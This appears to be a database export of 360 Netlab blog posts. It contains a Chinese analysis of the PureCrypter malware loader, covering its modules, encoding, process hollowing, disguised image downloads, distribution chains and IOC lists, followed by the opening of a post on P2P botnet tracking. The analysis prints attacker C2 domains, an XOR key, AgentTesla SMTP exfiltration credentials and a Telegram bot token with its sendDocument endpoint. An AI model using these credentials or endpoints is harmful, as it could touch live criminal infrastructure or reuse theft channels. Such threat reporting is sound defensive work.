如上图所示,首先通过Reverse + GZip + Protubuf.Deserialize组合拳,获取相关配置信息,之后是根据配置检查运行环境、对抗沙箱、创建互斥体、持久化等,最后从资源中获取payload加载运行。该样本没有进入任何一个if语句,很快到了最后一个重要函数,该函数主要实现最终payload的注入。根据配置的不同存在4种注入方式,傀儡进程(Process Hollowing)是被最多使用的方式。
最终payload存储在资源中,解密后的资源如下图:
经过Reverse + GZip解压缩后创建傀儡进程启动最终的payload。
上面最终推广的payload为AgentTesla,其配置信息如下:
host: raphaellasia.com
port:587
username: origin@raphaellasia.com
pwd: student@1980
to: origin2022@raphaellasia.com
意外发现
PureCrypter喜欢将injector伪装成图片供downloader下载,图片名比较随机,具有明显机器生成的特点。下面是实际检测到的一些图片名。
# pattern 1
/dl/0414/net_Gzhsuovx.bmp
/dl/0528/mars2_Hvvpvuns.bmp
/dl/0528/az_Tsrqixjf.bmp
# pattern 2
/040722/azne_Bvaquebo.bmp
/04122022/net_Ygikzmai.bmp
/04122022/azne_Jzoappuq.bmp
/04122022/pm_Dxjlqugu.bmp
/03252022/azne_Rmpsyfmd.bmp
# pattern 3
/Rrgbu_Xruauocq.png
/Gepstl_Mouktkmu.bmp
/Zhyor_Uavuxobp.png
/Xgjbdziy_Kglkvdfb.png
/Ankwgqtwf_Bdevsqnz.bmp
/Osgyjgne_Ymgrebdt.png
/Rrgbu_Xruauocq.png
/Gepstl_Mouktkmu.bmp
/Osgyjgne_Ymgrebdt.png
/Osgyjgne_Ymgrebdt.png
/Zhyor_Uavuxobp.png
在对多个样本进行分析后,我们发现请求的图片名与downloader的AssmblyName存在对应关系。
图片名
AssmblyName
Belcuesth_Ipdtbadv.png
Belcuesth
Kzzlcne_Prgftuxn.png
Kzzlcne
newminer2_Jrltkmeh.jpg
newminer2
Belcuesth_Ipdtbadv.png
Belcuesth
Nykymad_Bnhmcpqo.bmp
Nykymad
my_ori_Ywenb_Yzueqpjp.bmp
my ori Ywenb
下划线后面的内容总是符合正则表达式
[A-Z][a-zA-Z]{7}
基于这个发现可以结合样本和网络请求两个维度的数据确认PureCrypter的下载行为。
C2和传播分析
PureCrypter今年一直在活跃,我们先后检测到的C2 域名和IP有200多个,传播的家族数10多种。在我们看到的案例中,传播链条普遍比较长,PureCrypter的downloader模块经常跟各种其它类型的前置downloader配合使用。因为C2太多,这里主要以185.215.113.89 为例从规模和传播手法方面做一个介绍。
C2分析
这个C2在我们检测到的C2中活跃度比较高,其活跃时间为今年4月中旬到6月初,如下图所示。
其活跃程度可以用我们的图系统直观反映出来。
能看到它关联到了比较多的域名和IP,下面是该IP在这段时间的部分域名解析情况。
2022-04-14 22:47:34 2022-07-05 00:42:16 22 rockrock.ug A 185.215.113.89
2022-04-21 08:22:03 2022-06-13 09:17:50 15 marnersstyler.ug A 185.215.113.89
2022-04-17 03:17:41 2022-06-10 04:31:27 2538 qwertzx.ru A 185.215.113.89
2022-04-24 02:16:46 2022-06-09 00:11:24 3 hubvera.ac.ug A 185.215.113.89
2022-04-15 23:47:43 2022-06-08 19:24:59 43 timekeeper.ug A 185.215.113.89
2022-04-15 11:34:35 2022-06-08 19:24:59 35 boundertime.ru A 185.215.113.89
2022-04-14 23:01:50 2022-06-08 15:33:25 24 timebound.ug A 185.215.113.89
2022-04-15 21:58:54 2022-06-08 05:43:21 7 www.rockrock.ug A 185.215.113.89
2022-04-16 20:50:41 2022-06-08 01:44:01 54 beachwood.ug A 185.215.113.89
2022-04-23 16:23:41 2022-06-07 18:30:51 5 asdsadasrdc.ug A 185.215.113.89
2022-05-02 22:35:40 2022-06-07 04:34:12 17 leatherlites.ug A 185.215.113.89
2022-05-29 17:46:00 2022-06-07 03:50:36 3 underdohg.ac.ug A 185.215.113.89
2022-04-15 22:34:53 2022-06-07 03:33:10 18 rockphil.ac.ug A 185.215.113.89
2022-04-15 03:09:13 2022-06-07 03:19:50 14 pdshcjvnv.ug A 185.215.113.89
2022-04-15 03:04:12 2022-06-07 03:12:04 16 mistitis.ug A 185.215.113.89
2022-04-16 03:08:46 2022-06-07 03:08:48 18 nicoslag.ru A 185.215.113.89
2022-04-19 02:33:31 2022-06-07 02:37:08 16 danwisha.ac.ug A 185.215.113.89
2022-05-28 23:56:02 2022-06-05 05:14:50 7 underdohg.ug A 185.215.113.89
2022-05-10 14:44:28 2022-06-02 17:40:12 24 jonescourtney.ac.ug A 185.215.113.89
2022-06-02 07:44:25 2022-06-02 07:44:25 1 triathlethe.ug A 185.215.113.89
2022-04-24 03:05:38 2022-06-01 16:54:59 2191 qwertasd.ru A 185.215.113.89
2022-04-17 09:34:27 2022-06-01 01:42:07 2 partaususd.ru A 185.215.113.89
2022-04-25 00:08:53 2022-05-31 07:17:00 5 timecheck.ug A 185.215.113.89
2022-04-21 02:36:41 2022-05-31 01:20:37 21 courtneyjones.ac.ug A 185.215.113.89
2022-04-16 19:09:02 2022-05-31 01:02:02 14 marksidfgs.ug A 185.215.113.89
2022-04-25 03:01:15 2022-05-30 03:04:29 10 mofdold.ug A 185.215.113.89
2022-04-15 02:36:21 2022-05-30 02:32:53 17 check-time.ru A 185.215.113.89
2022-04-18 02:21:26 2022-05-30 02:22:30 17 agenttt.ac.ug A 185.215.113.89
2022-04-17 03:17:46 2022-05-29 03:17:26 15 qd34g34ewdfsf23.ru A 185.215.113.89
2022-04-19 02:25:06 2022-05-29 02:22:57 14 andres.ug A 185.215.113.89
2022-04-16 02:27:44 2022-05-29 02:22:47 16 asdasgs.ug A 185.215.113.89
第3列为访问量,不同域名访问量有差别,整体评估应该在千级,而这只是我们看到的众多C2中的一个。
通过关联分析,我们发现185.215.113.89经常跟62.204.41.69(3月)和45.143.201.4(6月)这两个C2配合使用,它们关系可以用下图关联。
传播分析
PureCrypter采用了downloader+injector的双模块机制,前者被传播后再传播后者,相当于在传播链条上增加了一环,加上作者惯用图片名后缀、编码传输等手段隐藏injector,这些本身就已足够复杂。而作者在downloader传播这块也下了不少功夫,我们看到的有通过bat2exe捆绑破解软件的方式、使用VBS和powershell脚本loader的方式、结合Godzilla前置loader等多种方式,这些操作叠加起来的结果就是PureCrypter的传播链条普遍较深较复杂。在5月份我们甚至发现通过PureCrypter传播Raccoon,后者进一步传播Azorult、Remcos、PureMiner、PureClipper的案例。
下面介绍几个典型传播手法。
1,“Bat2Exe+Powershell+VBS+Meteorite+PureCrypter”传播Mars Stealer
这个主要在一些破解软件上有见到,downloader模块通过Bat2Exe捆绑到前者进行传播。实际运行时保存在资源中的恶意文件被释放到tmp目录下,通过start.bat来触发运行。释放在tmp目录下的文件形如下图:
start.bat命令形如:
在我们分析的案例中,.lnk文件被用来启动powershell执行恶意命令。
Powershell解码出一个base64编码的VBS loader:
VBS loader进一步释放一个downloader,并通过shellcode运行后者。该downloader的敏感信息都保存在资源中,包括进程名和download url,如下图所示。
根据运行后的进程名将该downloader命名为Meteorite,上图中的url就对应PureCrypter的downloader模块,完整的通信过程如下图:
最终payload为Mars Stealer,c2: rockrock.ug/gggate.php,配置信息如下:
2,“VBS/Powershell + PureCrypter” 传播PureMiner
涉及的C2为 89.34.27.167,入口为一个VBS脚本或者Powershell脚本,下面是VBS脚本的例子。
网络通信流量如下:
Powershell脚本如下:
Powershell脚本下载并运行PureCrypter的downloader模块,后者继续下载injector,这里比较特殊的是使用Discord来分发injector:
最终的payload为PureMiner,C2如下:
185.157.160.214
pwn.oracleservice.top
pwn.letmaker.top
port: 8080, 8444
3,利用未知.NET downloader传播 AgentTesla、RedLine
该downloader家族未知,其运行时同样分为多个阶段,其中stage0模块负责加载资源中的stage1恶意模块:
stage1模块运行后会继续加载下一阶段模块stage2:
stage2模块也是一个Crypter(暂未命名),与PureCrypter不同,他还提供了下载功能,用来下载恶意PureCrypter的downloader模块,即图中的puty.exe。
从资源中异或解密恶意软件,key为bnvFGkCKlnhQ,相关算法如下:
因此实际传播了两个家族:
stage2的payload为AgentTesla,c2为 https[:]//api.telegram.org/bot5421147975:AAGrsGnLOHZfFv7yHuj3hZdQSOVmPodIAVI/sendDocument
PureCrypter的payload为RedLine,c2为
IP: workstation2022.ddns.net:62099
ID: cheat
总结
PureCrypter是一个仍在活跃的MaaS类型的botnet,已经传播了10多种影响比较大的其它恶意家族。PureCrypter的传播手法普遍比较复杂,其背后应该存在至少一个比较专业的黑产组织,他们拥有较多的技术、域名和IP资源,预计今后会继续传播其它的恶意家族。我们对PureCrypter的传播活动一直有较好的检测,会第一时间将C2等威胁信息添加到我们的威胁情报库中。后续我们会继续保持关注,及时更新最新的威胁信息。
联系我们
感兴趣的读者,可以在 twitter 或者通过邮件netlab[at]360.cn联系我们。
IOC
MD5
Family Name
MD5
Bat2Exe Downloader
424ed5bcaae063a7724c49cdd93138f5
VBS downloader
3f20e08daaf34b563227c797b4574743
Powershell downloader
c4c5167dec23b6dd2d565cd091a279e4
未知.NET Downloader
9b70a337824bac612946da1432295e9c
C2 &URL
agenttt.ac.ug
andres.ug
asdasgs.ug
asdsadasrdc.ug
beachwood.ug
boundertime.ru
check-time.ru
courtneyjones.ac.ug
danwisha.ac.ug
hopeforhealth.com.ph
hubvera.ac.ug
jonescourtney.ac.ug
leatherlites.ug
marksidfgs.ug
marnersstyler.ug
mistitis.ug
mofdold.ug
momomolastik.ug
nicoslag.ru
partaususd.ru
pdshcjvnv.ug
qd34g34ewdfsf23.ru
qwertasd.ru
qwertzx.ru
raphaellasia.com
rockphil.ac.ug
rockrock.ug
timebound.ug
timebounder.ru
timecheck.ug
timekeeper.ug
triathlethe.ug
underdohg.ac.ug
underdohg.ug
www.rockrock.ug
212.192.246.195
37.0.11.164:8080
80.66.75.123
89.34.27.167
91.243.44.142
185.215.113.89
62.204.41.69
45.143.201.4
https://cdn.discordapp.com/attachments/994652587494232125/1004377750762704896/ps1-6_Hjuvcier.png
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"在我们的日常botnet分析工作中,碰到各种loader是常事。跟其它种类的malware相比,loader的特殊之处在于它主要用来“推广”,即在被感染机器上下载并运行其它的恶意软件。根据我们的观察,大部分loader是专有的,它们和推广的家族之间存在绑定关系。而少数loader家族会将自己做成通用的推广平台,可以传播其它任意家族,实现所谓的malware-as-a-service(MaaS)。跟专有loader相比,MaaS类型显然更危险,更应该成为我们的首要关注目标。\n\n本文介绍我们前段时间看到的一个MaaS类型的loader,它名为PureCrypter,今年非常活跃,先后推广了10多个其它的家族,使用了上百个C2。因为[zscaler](https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter)已经做过详细的样本分析,本文主要从C2和传播链条角度介绍我们看到的PureCrypter传播活动,分析其运作过程。\n\n本文要点如下:\n* PureCrypter是一款使用C#编写的loader,至少2021年3月便已出现,能传播任意的其它家族。\n* PureCrypter今年持续活跃,已经传播了包括Formbook、SnakeKeylogger、AgentTesla、Redline、AsyncRAT等在内的10多个恶意家族。\n* PureCrypter作者拥有较多的推广资源,我们检测到的C2 域名和IP多达上百个。\n* PureCrypter作者喜欢使用图片名后缀结合倒置、压缩和加密等方式躲避网络检测。\n* PureCrypter的推广行为传播链条普遍较长,多数会使用前置protector,甚至搭配其它loader,检测难度较大。\n\n\n\n总的来说,PureCrypter的传播情况可以用下图总结:\n\n![Image--0-](__GHOST_URL__/content/images/2022/08/Image--0-.png)\n\n下面从样本分析和典型传播案例角度做一介绍。\n\n\n\n# 样本分析\n\nPureCrypter使用了[package机制](https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter),由两个可执行文件组成:downloader和injector,它们都使用C#编写,其中downloader负责传播injector,后者释放并运行最终的目标家族二进制文件。实际操作时,攻击者通过builder生成downloader和injector,然后先设法传播downloader,后者会在目标机器上下载并执行injector,再由injector完成其余工作。从代码逻辑上看,downloader模块相对简单,样本混淆程度较低,没有复杂的环境检测和持久化等操作,而injector则使用了loader里常见的奇技淫巧,比如2进制混淆、运行环境检测、启动傀儡进程等,下面是结合实际的例子简单介绍下downloader和injector。\n\n## downloader模块\n\n该模块直接调用WebClient的DownLoadData方法进行HTTP下载,没有设置单独的HTTP header。\n\n![Image--11-](__GHOST_URL__/content/images/2022/08/Image--11-.png)\n\ninjector的uri通常也是明文保存,下面是一个下载经过倒置处理的样本的变种的例子,从解析代码能看出来HTTP payload做了倒置处理。\n\n![Image--12-](__GHOST_URL__/content/images/2022/08/Image--12-.png)\n\n在末尾可发现明显的被倒置的PE Header。\n\n![Image--13-](__GHOST_URL__/content/images/2022/08/Image--13-.png)\n\n最后通过Assembly.Load加载恢复好的injector(.DLL文件),调用明文编码的入口方法,进入下一阶段。\n\n![Image--14-](__GHOST_URL__/content/images/2022/08/Image--14-.png)\n\n\nPureCrypter对injector下载保护这块相对简单,目前看除了上面提到的倒置(reverse)编码外,还有 gzip压缩、对称加密等方式,这种编码是固定的,即builder在生成downloader和injector时就已经确定好编码方式,不存在运行动态改变的情况。\n\n下面是使用使用gzip压缩后传输injector的例子,在流量开头可以发现GZip的magic header:```1F 8B 08 00```。\n\n![Image--15-](__GHOST_URL__/content/images/2022/08/Image--15-.png)\n\n我们还碰到过使用AES加密的例子。\n\n![Image--16-](__GHOST_URL__/content/images/2022/08/Image--16-.png)\n\n除了AES,PureCrypter还支持使用DES、RC4等加密算法。\n\n## injector模块\n\n如果分析还原好的injector,会发现普遍做了混淆处理,差别只是混淆程度的大小。下面是一例SmartAssembly混淆并且资源部分被加密的injector:\n\n![Image--17-](__GHOST_URL__/content/images/2022/08/Image--17-.png)\n\n如上图所示,首先通过Reverse + GZip + Protubuf.Deserialize组合拳,获取相关配置信息,之后是根据配置检查运行环境、对抗沙箱、创建互斥体、持久化等,最后从资源中获取payload加载运行。该样本没有进入任何一个if语句,很快到了最后一个重要函数,该函数主要实现最终payload的注入。根据配置的不同存在4种注入方式,傀儡进程(Process Hollowing)是被最多使用的方式。\n\n![image](__GHOST_URL__/content/images/2022/08/image.png)\n\n最终payload存储在资源中,解密后的资源如下图:\n\n![Image--18-](__GHOST_URL__/content/images/2022/08/Image--18-.png)\n\n经过Reverse + GZip解压缩后创建傀儡进程启动最终的payload。\n\n![Image--19-](__GHOST_URL__/content/images/2022/08/Image--19-.png)\n\n\n上面最终推广的payload为AgentTesla,其配置信息如下:\n```\nhost: raphaellasia.com\nport:587\nusername: origin@raphaellasia.com\npwd: student@1980\nto: origin2022@raphaellasia.com\n```\n\n## 意外发现\n\nPureCrypter喜欢将injector伪装成图片供downloader下载,图片名比较随机,具有明显机器生成的特点。下面是实际检测到的一些图片名。\n```\n# pattern 1\n/dl/0414/net_Gzhsuovx.bmp\n/dl/0528/mars2_Hvvpvuns.bmp\n/dl/0528/az_Tsrqixjf.bmp\n\n# pattern 2\n/040722/azne_Bvaquebo.bmp\n/04122022/net_Ygikzmai.bmp\n/04122022/azne_Jzoappuq.bmp\n/04122022/pm_Dxjlqugu.bmp\n/03252022/azne_Rmpsyfmd.bmp\n\n# pattern 3\n/Rrgbu_Xruauocq.png\n/Gepstl_Mouktkmu.bmp\n/Zhyor_Uavuxobp.png\n/Xgjbdziy_Kglkvdfb.png\n/Ankwgqtwf_Bdevsqnz.bmp\n/Osgyjgne_Ymgrebdt.png\n/Rrgbu_Xruauocq.png\n/Gepstl_Mouktkmu.bmp\n/Osgyjgne_Ymgrebdt.png\n/Osgyjgne_Ymgrebdt.png\n/Zhyor_Uavuxobp.png\n\n```\n\n在对多个样本进行分析后,我们发现请求的图片名与downloader的AssmblyName存在对应关系。\n\n| 图片名 | AssmblyName |\n| --- | --- |\n| Belcuesth_Ipdtbadv.png | Belcuesth |\n| Kzzlcne_Prgftuxn.png | Kzzlcne |\n|newminer2_Jrltkmeh.jpg|newminer2|\n| Belcuesth_Ipdtbadv.png|Belcuesth|\n| Nykymad_Bnhmcpqo.bmp | Nykymad|\n|my_ori_Ywenb_Yzueqpjp.bmp | my ori Ywenb|\n\n下划线后面的内容总是符合正则表达式 \n> [A-Z][a-zA-Z]{7}\n\n\n基于这个发现可以结合样本和网络请求两个维度的数据确认PureCrypter的下载行为。\n\n# C2和传播分析\nPureCrypter今年一直在活跃,我们先后检测到的C2 域名和IP有200多个,传播的家族数10多种。在我们看到的案例中,传播链条普遍比较长,PureCrypter的downloader模块经常跟各种其它类型的前置downloader配合使用。因为C2太多,这里主要以```185.215.113.89``` 为例从规模和传播手法方面做一个介绍。\n\n## C2分析\n这个C2在我们检测到的C2中活跃度比较高,其活跃时间为今年4月中旬到6月初,如下图所示。\n\n![xmon_185.215.113.89_ganwang](__GHOST_URL__/content/images/2022/08/xmon_185.215.113.89_ganwang.png)\n\n其活跃程度可以用我们的图系统直观反映出来。\n\n![domain_ip_of_butler_202205-1](__GHOST_URL__/content/images/2022/08/domain_ip_of_butler_202205-1.png)\n\n能看到它关联到了比较多的域名和IP,下面是该IP在这段时间的部分域名解析情况。\n\n```\n2022-04-14 22:47:34\t2022-07-05 00:42:16\t22\trockrock.ug\tA\t185.215.113.89\t\n2022-04-21 08:22:03\t2022-06-13 09:17:50\t15\tmarnersstyler.ug\tA\t185.215.113.89\t\n2022-04-17 03:17:41\t2022-06-10 04:31:27\t2538\tqwertzx.ru\tA\t185.215.113.89\t\n2022-04-24 02:16:46\t2022-06-09 00:11:24\t3\thubvera.ac.ug\tA\t185.215.113.89\t\n2022-04-15 23:47:43\t2022-06-08 19:24:59\t43\ttimekeeper.ug\tA\t185.215.113.89\t\n2022-04-15 11:34:35\t2022-06-08 19:24:59\t35\tboundertime.ru\tA\t185.215.113.89\t\n2022-04-14 23:01:50\t2022-06-08 15:33:25\t24\ttimebound.ug\tA\t185.215.113.89\t\n2022-04-15 21:58:54\t2022-06-08 05:43:21\t7\twww.rockrock.ug\tA\t185.215.113.89\t\n2022-04-16 20:50:41\t2022-06-08 01:44:01\t54\tbeachwood.ug\tA\t185.215.113.89\t\n2022-04-23 16:23:41\t2022-06-07 18:30:51\t5\tasdsadasrdc.ug\tA\t185.215.113.89\t\n2022-05-02 22:35:40\t2022-06-07 04:34:12\t17\tleatherlites.ug\tA\t185.215.113.89\t\n2022-05-29 17:46:00\t2022-06-07 03:50:36\t3\tunderdohg.ac.ug\tA\t185.215.113.89\t\n2022-04-15 22:34:53\t2022-06-07 03:33:10\t18\trockphil.ac.ug\tA\t185.215.113.89\t\n2022-04-15 03:09:13\t2022-06-07 03:19:50\t14\tpdshcjvnv.ug\tA\t185.215.113.89\t\n2022-04-15 03:04:12\t2022-06-07 03:12:04\t16\tmistitis.ug\tA\t185.215.113.89\t\n2022-04-16 03:08:46\t2022-06-07 03:08:48\t18\tnicoslag.ru\tA\t185.215.113.89\t\n2022-04-19 02:33:31\t2022-06-07 02:37:08\t16\tdanwisha.ac.ug\tA\t185.215.113.89\t\n2022-05-28 23:56:02\t2022-06-05 05:14:50\t7\tunderdohg.ug\tA\t185.215.113.89\t\n2022-05-10 14:44:28\t2022-06-02 17:40:12\t24\tjonescourtney.ac.ug\tA\t185.215.113.89\t\n2022-06-02 07:44:25\t2022-06-02 07:44:25\t1\ttriathlethe.ug\tA\t185.215.113.89\t\n2022-04-24 03:05:38\t2022-06-01 16:54:59\t2191\tqwertasd.ru\tA\t185.215.113.89\t\n2022-04-17 09:34:27\t2022-06-01 01:42:07\t2\tpartaususd.ru\tA\t185.215.113.89\t\n2022-04-25 00:08:53\t2022-05-31 07:17:00\t5\ttimecheck.ug\tA\t185.215.113.89\t\n2022-04-21 02:36:41\t2022-05-31 01:20:37\t21\tcourtneyjones.ac.ug\tA\t185.215.113.89\t\n2022-04-16 19:09:02\t2022-05-31 01:02:02\t14\tmarksidfgs.ug\tA\t185.215.113.89\t\n2022-04-25 03:01:15\t2022-05-30 03:04:29\t10\tmofdold.ug\tA\t185.215.113.89\t\n2022-04-15 02:36:21\t2022-05-30 02:32:53\t17\tcheck-time.ru\tA\t185.215.113.89\t\n2022-04-18 02:21:26\t2022-05-30 02:22:30\t17\tagenttt.ac.ug\tA\t185.215.113.89\t\n2022-04-17 03:17:46\t2022-05-29 03:17:26\t15\tqd34g34ewdfsf23.ru\tA\t185.215.113.89\t\n2022-04-19 02:25:06\t2022-05-29 02:22:57\t14\tandres.ug\tA\t185.215.113.89\t\n2022-04-16 02:27:44\t2022-05-29 02:22:47\t16\tasdasgs.ug\tA\t185.215.113.89\t\n```\n\n第3列为访问量,不同域名访问量有差别,整体评估应该在千级,而这只是我们看到的众多C2中的一个。\n\n通过关联分析,我们发现`185.215.113.89`经常跟`62.204.41.69`(3月)和`45.143.201.4`(6月)这两个C2配合使用,它们关系可以用下图关联。\n\n![Image--21--2](__GHOST_URL__/content/images/2022/08/Image--21--2.png)\n\n## 传播分析\nPureCrypter采用了downloader+injector的双模块机制,前者被传播后再传播后者,相当于在传播链条上增加了一环,加上作者惯用图片名后缀、编码传输等手段隐藏injector,这些本身就已足够复杂。而作者在downloader传播这块也下了不少功夫,我们看到的有通过bat2exe捆绑破解软件的方式、使用VBS和powershell脚本loader的方式、结合Godzilla前置loader等多种方式,这些操作叠加起来的结果就是PureCrypter的传播链条普遍较深较复杂。在5月份我们甚至发现通过PureCrypter传播Raccoon,后者进一步传播Azorult、Remcos、PureMiner、PureClipper的案例。\n\n![PC-RACCOON-OTHER](__GHOST_URL__/content/images/2022/08/PC-RACCOON-OTHER.png)\n\n下面介绍几个典型传播手法。\n\n### 1,“Bat2Exe+Powershell+VBS+Meteorite+PureCrypter”传播Mars Stealer\n\n这个主要在一些破解软件上有见到,downloader模块通过Bat2Exe捆绑到前者进行传播。实际运行时保存在资源中的恶意文件被释放到tmp目录下,通过start.bat来触发运行。释放在tmp目录下的文件形如下图:\n\n![Image--1-](__GHOST_URL__/content/images/2022/08/Image--1-.png)\n\nstart.bat命令形如:\n\n![Image--2-](__GHOST_URL__/content/images/2022/08/Image--2-.png)\n\n在我们分析的案例中,.lnk文件被用来启动powershell执行恶意命令。\n\n![Image--3-](__GHOST_URL__/content/images/2022/08/Image--3-.png)\n\nPowershell解码出一个base64编码的VBS loader:\n\n![Image--8-](__GHOST_URL__/content/images/2022/08/Image--8-.png)\n\n\nVBS loader进一步释放一个downloader,并通过shellcode运行后者。该downloader的敏感信息都保存在资源中,包括进程名和download url,如下图所示。\n\n![Image--28-](__GHOST_URL__/content/images/2022/08/Image--28-.png)\n\n根据运行后的进程名将该downloader命名为`Meteorite`,上图中的url就对应PureCrypter的downloader模块,完整的通信过程如下图:\n\n![25e6857acc38482a85b9863f5749d21a-----](__GHOST_URL__/content/images/2022/08/25e6857acc38482a85b9863f5749d21a-----.png)\n\n\n最终payload为Mars Stealer,c2: `rockrock.ug/gggate.php`,配置信息如下:\n\n![Image--24-](__GHOST_URL__/content/images/2022/08/Image--24-.png)\n\n\n### 2,“VBS/Powershell + PureCrypter” 传播PureMiner\n\n涉及的C2为 `89.34.27.167`,入口为一个VBS脚本或者Powershell脚本,下面是VBS脚本的例子。\n\n![Image--4-](__GHOST_URL__/content/images/2022/08/Image--4-.png)\n\n网络通信流量如下:\n\n![VBS_CASE](__GHOST_URL__/content/images/2022/08/VBS_CASE.png)\n\nPowershell脚本如下:\n\n![Image--25-](__GHOST_URL__/content/images/2022/08/Image--25-.png)\n\nPowershell脚本下载并运行PureCrypter的downloader模块,后者继续下载injector,这里比较特殊的是使用Discord来分发injector:\n\n![Image--26-](__GHOST_URL__/content/images/2022/08/Image--26-.png)\n\n最终的payload为PureMiner,C2如下:\n```\n185.157.160.214\npwn.oracleservice.top\npwn.letmaker.top\n\nport: 8080, 8444\n```\n\n### 3,利用未知.NET downloader传播 AgentTesla、RedLine\n\n该downloader家族未知,其运行时同样分为多个阶段,其中stage0模块负责加载资源中的stage1恶意模块:\n\n![Image--5-](__GHOST_URL__/content/images/2022/08/Image--5-.png)\n\nstage1模块运行后会继续加载下一阶段模块stage2:\n\n![Image--6-](__GHOST_URL__/content/images/2022/08/Image--6-.png)\n\nstage2模块也是一个Crypter(暂未命名),与PureCrypter不同,他还提供了下载功能,用来下载恶意PureCrypter的downloader模块,即图中的`puty.exe`。\n\n![Image--7-](__GHOST_URL__/content/images/2022/08/Image--7-.png)\n\n从资源中异或解密恶意软件,key为`bnvFGkCKlnhQ`,相关算法如下:\n\n![Image--29-](__GHOST_URL__/content/images/2022/08/Image--29-.png)\n\n因此实际传播了两个家族:\n\nstage2的payload为AgentTesla,c2为 ```https[:]//api.telegram.org/bot5421147975:AAGrsGnLOHZfFv7yHuj3hZdQSOVmPodIAVI/sendDocument```\n\nPureCrypter的payload为RedLine,c2为\n```\nIP: workstation2022.ddns.net:62099\nID: cheat\n```\n\n\n\n\n## 总结\n\nPureCrypter是一个仍在活跃的MaaS类型的botnet,已经传播了10多种影响比较大的其它恶意家族。PureCrypter的传播手法普遍比较复杂,其背后应该存在至少一个比较专业的黑产组织,他们拥有较多的技术、域名和IP资源,预计今后会继续传播其它的恶意家族。我们对PureCrypter的传播活动一直有较好的检测,会第一时间将C2等威胁信息添加到我们的威胁情报库中。后续我们会继续保持关注,及时更新最新的威胁信息。\n\n\n## 联系我们\n感兴趣的读者,可以在 [**twitter**](https://twitter.com/360Netlab) 或者通过邮件**netlab[at]360.cn**联系我们。\n\n## IOC\n### MD5\n\n| Family Name | MD5 |\n| --- | --- |\n|Bat2Exe Downloader| 424ed5bcaae063a7724c49cdd93138f5|\n|VBS downloader| 3f20e08daaf34b563227c797b4574743|\n|Powershell downloader| c4c5167dec23b6dd2d565cd091a279e4|\n|未知.NET Downloader| 9b70a337824bac612946da1432295e9c|\n\n### C2 &URL\n```\nagenttt.ac.ug\nandres.ug\nasdasgs.ug\nasdsadasrdc.ug\nbeachwood.ug\nboundertime.ru\ncheck-time.ru\ncourtneyjones.ac.ug\ndanwisha.ac.ug\nhopeforhealth.com.ph\nhubvera.ac.ug\njonescourtney.ac.ug\nleatherlites.ug\nmarksidfgs.ug\nmarnersstyler.ug\nmistitis.ug\nmofdold.ug\nmomomolastik.ug\nnicoslag.ru\npartaususd.ru\npdshcjvnv.ug\nqd34g34ewdfsf23.ru\nqwertasd.ru\nqwertzx.ru\nraphaellasia.com\nrockphil.ac.ug\nrockrock.ug\ntimebound.ug\ntimebounder.ru\ntimecheck.ug\ntimekeeper.ug\ntriathlethe.ug\nunderdohg.ac.ug\nunderdohg.ug\nwww.rockrock.ug\n212.192.246.195\n37.0.11.164:8080\n80.66.75.123\n89.34.27.167\n91.243.44.142\n185.215.113.89\n62.204.41.69\n45.143.201.4\n\nhttps://cdn.discordapp.com/attachments/994652587494232125/1004377750762704896/ps1-6_Hjuvcier.png\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 62f9e3db0f11db00079629a4 |
post | null | 2022-08-19T03:19:41.000Z | 63873b9a8b1c1e0007f53020 | p2p-botnet-monitor | 0 | 2022-11-02T04:18:01.000Z | public | published | null | 2022-11-02T03:11:33.000Z | P2P 僵尸网络:回顾·现状·持续监测 | <!--kg-card-begin: markdown--><h1 id="">缘起</h1>
<p>P2P结构的网络比传统的C/S结构具有更好的可扩展性和健壮性,这些优点很早就为botnet的作者所认识到并被用到他们的僵尸网络中。从时间上看,2007年出现的<a href="https://en.wikipedia.org/wiki/Storm_botnet">Storm</a>可以算是这方面的鼻祖,那时botnet这种网络威胁刚为大众所知。Storm之后,陆续又有Karen、<a href="https://ijcttjournal.org/archives/ijctt-v12p112">ZeroAccess</a>、GameOver、Hijime、mozi等20来种P2P botnet先后出现,它们在技术上各有特点,共同点就是规模大、防御难度大,想让它们彻底消失比较困难,比如Mozi在作者已经明确放弃甚至被抓几年之后还在活跃,可谓“百足之虫死而不僵”。</p>
<p>早期的P2P botnet主要针对Windows机器,比如Storm、ZeroAccess以及GameOver感染的都是Windows操作系统。2016年Mirai出现之后,网络上那些大量存在而又缺乏防御的Linux IoT设备开始成为许多botnet的目标,Hijime、mozi、pink等针对Linux设备的P2P botnet陆续出现。</p>
<p>由于P2P网络“无中心”的特点,使用传统的手段来评估其规模有点困难。为了解决这个问题,安全研究人员另辟蹊径,发明了P2P爬虫技术,通过它来跟踪某个P2P botnet,获取节点IP以及下载链接和配置等信息,用于规模评估和定点清除。</p>
<p>360 Netlab致力于及时发现和跟踪大网上活跃的botnet,对P2P僵尸网络当然不会放过,比如我们19年首先公开分析了mozi僵尸网络。为了更好的“看见”威胁,我们基于自身的积累以及业内已有的分析结果构建了一个针对P2P Botnet的工业级别跟踪系统,目标是覆盖所有活跃的P2P botnet,目前基于“历史规模较大”和“近期出现”这两个维度优先跟踪了Pink、Mozi、Hajime、FritzFrog和Panchan这5个仍在活跃的家族,本文基于这个系统产生的跟踪数据简单分析下这5个家族的现状。</p>
<p><em><strong>PS:</strong></em> 除本文提到的 5 个家族外,也欢迎读者把其他感兴趣的活跃家族留在下方评论区,我们可以酌情优先安排盯梢。</p>
<h1 id="">跟踪策略概述</h1>
<p>本小节会简单介绍一下跟踪系统中使用的主要跟踪策略,以方面读者理解文中所用数据的产生过程,增强数据的可解释性。</p>
<h2 id="">跟踪目标</h2>
<p>该跟踪系统以记录节点IP为主要目标,通过模拟通讯协议的方法伪造一个节点,并使其加入对应的P2P网络,参与数据报文交换。每成功完成一次报文交换,便记录下对方的IP,最终实现对目标P2P网络所有节点的记录。</p>
<h2 id="">策略展开</h2>
<p>PS:由于各P2P家族的协议设计各不相同,所以以下策略并不能全部利用在各个家族上,只能根据实际情况选择其中至少一个策略作为对应家族的跟踪策略。</p>
<p><strong>主动探测</strong>:该策略从工作原理上看,有些类似于公网扫描器。它首先向目标节点投喂探测报文,然后对收到的回复报文进行解析,当返回的报文格式符合家族特征时,则将对端认定为对等节点。在实际操作中,我们会先划定一个探测范围,再对这个范围内的节点进行探测(其中探测范围可能由一个可疑网段组成,也可能是从其他策略中产生的可疑节点组成)。</p>
